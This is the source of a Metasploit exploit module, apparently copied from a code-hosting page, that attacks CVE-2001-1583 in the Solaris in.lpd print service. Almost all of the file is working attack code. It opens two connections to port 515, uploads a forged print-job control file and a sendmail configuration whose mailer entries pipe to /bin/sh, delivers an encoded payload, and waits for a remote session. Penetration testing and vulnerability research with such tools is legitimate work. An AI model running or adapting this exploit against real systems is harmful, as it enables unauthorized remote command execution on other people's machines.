Path: blob/master/modules/exploits/solaris/lpd/sendmail_exec.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking89include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Solaris LPD Command Execution',16'Description' => %q{17This module exploits an arbitrary command execution flaw in18the in.lpd service shipped with all versions of Sun Solaris19up to and including 8.0. This module uses a technique20discovered by Dino Dai Zovi to exploit the flaw without21needing to know the resolved name of the attacking system.22},23'Author' => [ 'hdm', 'ddz' ],24'License' => MSF_LICENSE,25'References' => [26['CVE', '2001-1583'],27['OSVDB', '15131'],28['BID', '3274'],29],30'Platform' => %w[solaris unix],31'Arch' => ARCH_CMD,32'Payload' => {33'Space' => 8192,34'DisableNops' => true,35'Compat' => {36'PayloadType' => 'cmd',37'RequiredCmd' => 'generic perl telnet'38}39},40'Targets' => [41[ 'Automatic Target', {}]42],43'DisclosureDate' => '2001-08-31',44'DefaultTarget' => 0,45'Notes' => {46'Stability' => [CRASH_SAFE],47'SideEffects' => [IOC_IN_LOGS],48'Reliability' => [REPEATABLE_SESSION]49}50)51)5253register_options([54Opt::RPORT(515)55])56end5758def exploit59# This is the temporary path created in the spool directory60spath = '/var/spool/print'6162# The job ID is squashed down to three decimal digits63jid = ($PROCESS_ID % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]6465# The control file66control =67'H' + "metasploit\n" \68'P' + '\"-C' + spath + '/' + jid + "mail.cf\\\" nobody\n" \69'f' + 'dfA' + jid + "config\n" \70'f' + 'dfA' + jid + "script\n"7172# The mail configuration file73mailcf =74"V8\n" \75"\n" \76"Ou0\n" \77"Og0\n" \78"OL0\n" \79"Oeq\n" \80"OQX/tmp\n" \81"\n" \82"FX|/bin/sh #{spath}/#{jid}script\n" \83"\n" \84"S3\n" \85"S0\n" \86"R\+ #local \\@blah :blah\n" \87"S1\n" \88"S2\n" \89"S4\n" \90"S5\n" \91"\n" \92"Mlocal P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n" \93"Mprog P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"9495# Establish the first connection to the server96sock1 = connect(false)9798# Request a cascaded job99sock1.put("\x02metasploit:framework\n")100res = sock1.get_once101if !res102print_status('The target did not accept our job request command')103return104end105106print_status('Configuring the spool directory...')107if !(108send_file(sock1, 2, 'cfA' + jid + 'metasploit', control) &&109send_file(sock1, 3, jid + 'mail.cf', mailcf) &&110send_file(sock1, 3, jid + 'script', payload.encoded)111)112sock1.close113return114end115116# Establish the second connection to the server117sock2 = connect(false)118119# Request another cascaded job120sock2.put("\x02localhost:metasploit\n")121res = sock2.get_once122if !res123print_status('The target did not accept our second job request command')124return125end126127print_status('Attempting to trigger the vulnerable call to the mail program...')128if !(129send_file(sock2, 2, 'cfA' + jid + 'metasploit', control) &&130send_file(sock2, 3, 'dfa' + jid + 'config', mailcf)131)132sock1.close133sock2.close134return135end136137sock1.close138sock2.close139140print_status('Waiting up to 60 seconds for the payload to execute...')141select(nil, nil, nil, 60)142143handler144end145146def send_file(socket, type, name, data = '')147socket.put(type.chr + "#{data.length} #{name}\n")148res = socket.get_once(1)149if !(res && (res[0, 1] == "\x00"))150print_status("The target did not accept our control file command (#{name})")151return152end153154socket.put(data)155socket.put("\x00")156res = socket.get_once(1)157if !(res && (res[0, 1] == "\x00"))158print_status("The target did not accept our control file data (#{name})")159return160end161162print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length))163return true164end165end166167168